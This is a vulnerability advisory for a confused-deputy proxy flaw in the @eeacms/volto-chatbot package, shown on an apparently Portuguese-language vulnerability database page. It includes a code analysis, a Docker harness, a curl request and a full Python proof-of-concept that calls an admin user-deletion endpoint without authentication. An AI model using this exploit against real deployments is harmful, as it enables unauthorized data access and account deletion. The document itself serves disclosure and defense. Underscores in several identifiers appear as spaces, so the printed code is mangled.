PT-2026-140115

Publicado

2026-10-29

·

Atualizado

2026-10-29

Descrição por

CVSS 3.1
8.2
Alta
MétricasAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Unauthenticated Danswer API Confused Deputy Proxy in @eeacms/volto-chatbot

Summary

@eeacms/volto-chatbot exposes an Express middleware route (**/ v1 da/**) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER API KEY or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.

Details

The vulnerability is introduced across two source files in @eeacms/volto-chatbot@2.0.3.
Route registration (src/index.js:15):
js
middleware.all('**/ v1 da/**', proxyMiddleware);
The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before proxyMiddleware. This means all requests reaching any / v1 da/ path are forwarded without any identity check.
Unvalidated path extraction and upstream URL construction (src/middleware.js:228-230):
js
const path = req.url.replace('/ v1 da/', '/');
const reqUrl = `${process.env.DANSWER URL || ''}/api${path}`;
The attacker-controlled req.url is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.
Credential attachment and forwarding (src/middleware.js:164, src/middleware.js:169, src/middleware.js:202):
js
// Session-cookie path (line 164):
headers = { Cookie: cached auth cookie, ... }

// API-key path (line 169):
Authorization: 'Bearer ' + api key,

// Sink — final upstream dispatch (line 202):
const response = await fetch(url, options, req.body);
After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a Bearer API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.
Complete data flow (source → sink):
  1. src/index.js:15 — all **/ v1 da/** paths registered to proxyMiddleware with no auth guard (source: external HTTP request).
  2. src/middleware.js:228 — req.url used directly to derive the upstream path without allowlist.
  3. src/middleware.js:230 — attacker-controlled path appended to ${DANSWER URL}/api.
  4. src/middleware.js:164 / src/middleware.js:169 — server-side session cookie or API key attached.
  5. src/middleware.js:202 — fetch(url, options, req.body) sends the fully-credentialed request to the Danswer backend (sink).
This vulnerability is present whenever the add-on middleware is installed and DANSWER API KEY or DANSWER USERNAME/DANSWER PASSWORD is configured — conditions required for normal, documented operation of the package.

PoC

The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.
Prerequisites:
  • Docker installed
  • Python 3 with the requests library
Step 1 — Build the Docker image (from the npmAI 719 eea volto-chatbot/ parent directory):
bash
docker build 
 -f vuln-001/Dockerfile 
 -t vuln001-proxy 
 reports/npmAI 719 eea volto-chatbot
The image packages the unmodified src/middleware.js from @eeacms/volto-chatbot@2.0.3, a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable DANSWER API KEY=supersecret is set to simulate a real deployment.
Step 2 — Start the container:
bash
docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy
This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.
Step 3 — Run the PoC exploit script:
bash
python3 vuln-001/poc.py 127.0.0.1 3000
What the script does:
  1. Waits for the proxy to accept TCP connections.
  2. Sends an unauthenticated POST request with a JSON body to the admin-only Danswer endpoint via the proxy:
POST http://127.0.0.1:3000/ v1 da/admin/users/delete
Content-Type: application/json

{"id": "victim-user-123"}
No Authorization or Cookie header is sent by the client.
Expected output (exploit confirmed):
[+] === EXPLOIT CONFIRMED — PASS ===
[+] Decisive evidence:
  1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
  2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
  3. Attacker-controlled HTTP method forwarded : method='POST'
The mock Danswer server receives POST /api/admin/users/delete with Authorization: Bearer supersecret — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.
Equivalent manual curl command (without Docker):
bash
# Terminal 1 — mock Danswer server
node - <<'NODE'
require('http').createServer((req, res) => {
 let b = ''; req.on('data', c => b += c);
 req.on('end', () => {
  res.setHeader('content-type', 'application/json');
  res.end(JSON.stringify({
   method: req.method, url: req.url,
   authorization: req.headers.authorization || null,
   body: b
  }));
 });
}).listen(18080, () => console.log('mock Danswer on :18080'));
NODE

# Terminal 2 — Volto with Danswer credentials configured
DANSWER URL=http://127.0.0.1:18080 DANSWER API KEY=secret yarn start

# Terminal 3 — unauthenticated exploit request
curl -i -X POST 'http://localhost:3000/ v1 da/admin/users/delete' 
 -H 'Content-Type: application/json' 
 --data '{"id":"victim-user-123"}'
The response body will contain "authorization":"Bearer secret" and "url":"/api/admin/users/delete", confirming the Confused Deputy.

Impact

This is a Confused Deputy / Missing Authorization vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.
Who is impacted:
Any deployment of @eeacms/volto-chatbot that:
  • has the package's Express middleware installed (default when the add-on is active), AND
  • has DANSWER API KEY or DANSWER USERNAME/DANSWER PASSWORD configured (required for the add-on to function at all).
Because these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.
Concrete attacker capabilities depend on the Danswer service account's permissions but include:
  • High Confidentiality impact — reading any Danswer endpoint accessible to the service account, including documents, user data, conversation history, and configuration.
  • Low–High Integrity impact — invoking write/mutate endpoints such as POST /admin/users/delete, POST /chat/create-chat-session, or any other writable Danswer API path as the service account.
  • No Authentication required — the attacker needs only network access to the Volto server (port 3000); no user account, cookie, or token is required.
The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.

Reproduction artifacts

Dockerfile

dockerfile
# Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy
#
# Build context: the parent directory (npmAI 719 eea volto-chatbot/)
#  docker build -f vuln-001/Dockerfile -t vuln001-proxy .
#
# Run:
#  docker run --rm -p 3000:3000 vuln001-proxy

FROM node:18-alpine

WORKDIR /app

# Install production dependencies required by the vulnerable middleware and test harness
RUN npm init -y && npm install --save 
  express@4 
  superagent@8 
  node-fetch@2 
  debug@4 
  @babel/core@7 
  @babel/register@7 
  @babel/preset-env@7

# Copy the vulnerable middleware source (unmodified from repo)
COPY repo/src/middleware.js /app/src/middleware.js

# Copy the test harness
COPY vuln-001/test server.js /app/test server.js

# Point the proxy at the in-container mock Danswer server.
# DANSWER API KEY is the secret the server attaches to every upstream request.
ENV DANSWER URL=http://127.0.0.1:18080
ENV DANSWER API KEY=supersecret

EXPOSE 3000

CMD ["node", "test server.js"]

poc.py

python
#!/usr/bin/env python3
"""
Proof-of-Concept: VULN-001
Title: Unauthenticated Danswer API Confused Deputy Proxy
CWE:  CWE-862 — Missing Authorization
CVSS:  8.2 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Vulnerability:
  src/index.js:15 registers middleware.all('**/ v1 da/**', proxyMiddleware)
  with NO authentication guard. src/middleware.js:228-230 derives the
  upstream Danswer API path directly from req.url without any allowlist,
  then attaches the server-side DANSWER API KEY (or session cookie) before
  calling fetch(). An unauthenticated attacker therefore controls:
    - the upstream Danswer API path  (e.g. /admin/users/delete)
    - the HTTP method         (POST, DELETE, …)
    - the request body
  while the server silently adds its own credentials.

Exploit flow:
  Attacker --(unauthenticated POST / v1 da/admin/users/delete)--> Volto proxy
  Volto proxy --(POST /api/admin/users/delete Authorization: Bearer <key>)--> Danswer

Usage:
  python3 poc.py [proxy host] [proxy port]
  Default: 127.0.0.1 3000
"""

import json
import socket
import sys
import time

import requests

# ── Configuration ──────────────────────────────────────────────────────────────
PROXY HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PROXY PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3000
PROXY BASE = f"http://{PROXY HOST}:{PROXY PORT}"

# Attacker-chosen admin-only endpoint — no credentials sent by the client.
ATTACK PATH  = "/ v1 da/admin/users/delete"
ATTACK PAYLOAD = {"id": "victim-user-123"}


# ── Helpers ────────────────────────────────────────────────────────────────────
def wait for port(host: str, port: int, timeout: int = 40) -> bool:
  """Return True when a TCP connection succeeds within *timeout* seconds."""
  deadline = time.monotonic() + timeout
  while time.monotonic() < deadline:
    try:
      with socket.create connection((host, port), timeout=1):
        return True
    except OSError:
      time.sleep(1)
  return False


def run exploit() -> bool:
  print("=" * 64)
  print("VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy")
  print("=" * 64)
  print(f"[*] Proxy base  : {PROXY BASE}")
  print(f"[*] Attack path : {ATTACK PATH}")
  print(f"[*] Attack body : {json.dumps(ATTACK PAYLOAD)}")
  print(f"[*] No client auth headers will be sent.")
  print()

  # Wait for the proxy server to accept connections.
  print(f"[*] Waiting for proxy on {PROXY HOST}:{PROXY PORT} ...")
  if not wait for port(PROXY HOST, PROXY PORT, timeout=40):
    print("[-] Proxy did not become reachable within 40 s. FAIL.")
    return False
  print("[+] Proxy is reachable.")

  # Additional brief wait to let the Node event loop fully initialise.
  time.sleep(1)

  # Send the exploit request — zero client-side authentication.
  exploit url = f"{PROXY BASE}{ATTACK PATH}"
  print(f"[*] Sending unauthenticated POST → {exploit url}")
  try:
    resp = requests.post(
      exploit url,
      json=ATTACK PAYLOAD,
      headers={"Content-Type": "application/json"},
      timeout=20,
    )
  except requests.exceptions.RequestException as exc:
    print(f"[-] HTTP request failed: {exc}")
    return False

  print(f"[*] HTTP status : {resp.status code}")
  print(f"[*] HTTP body  : {resp.text[:800]}")
  print()

  # Parse the echo from the mock Danswer server.
  try:
    body = resp.json()
  except ValueError:
    print("[-] Response is not valid JSON — cannot verify exploit. FAIL.")
    return False

  auth header = body.get("authorization") or ""
  upstream url = body.get("url") or ""
  method = body.get("method") or ""

  print("[*] Fields echoed by mock Danswer upstream:")
  print(f"  method    : {method!r}")
  print(f"  url      : {upstream url!r}")
  print(f"  authorization : {auth header!r}")
  print()

  # Decisive evidence criteria:
  #  1. Attacker-supplied path reached the upstream server.
  #  2. Server-side API key was attached without any client credential.
  #  3. Attacker-supplied HTTP method was forwarded.
  path proxied  = "/api/admin/users/delete" in upstream url
  cred attached = "Bearer supersecret" in auth header
  method correct = method == "POST"

  if path proxied and cred attached and method correct:
    print("[+] === EXPLOIT CONFIRMED — PASS ===")
    print("[+] Decisive evidence:")
    print(f"  1. Attacker-controlled path reached upstream : url={upstream url!r}")
    print(f"  2. Server-side API key forwarded (no client auth) : authorization={auth header!r}")
    print(f"  3. Attacker-controlled HTTP method forwarded : method={method!r}")
    return True
  else:
    print("[-] === EXPLOIT NOT CONFIRMED — FAIL ===")
    if not path proxied:
      print(f"  MISSING: /api/admin/users/delete not found in url={upstream url!r}")
    if not cred attached:
      print(f"  MISSING: 'Bearer supersecret' not found in authorization={auth header!r}")
    if not method correct:
      print(f"  MISSING: expected method=POST, got {method!r}")
    return False


if  name  == " main ":
  success = run exploit()
  sys.exit(0 if success else 1)
Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Enumeração de fraquezas
Identificadores relacionados
GHSA-W9X9-J56R-H98R
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾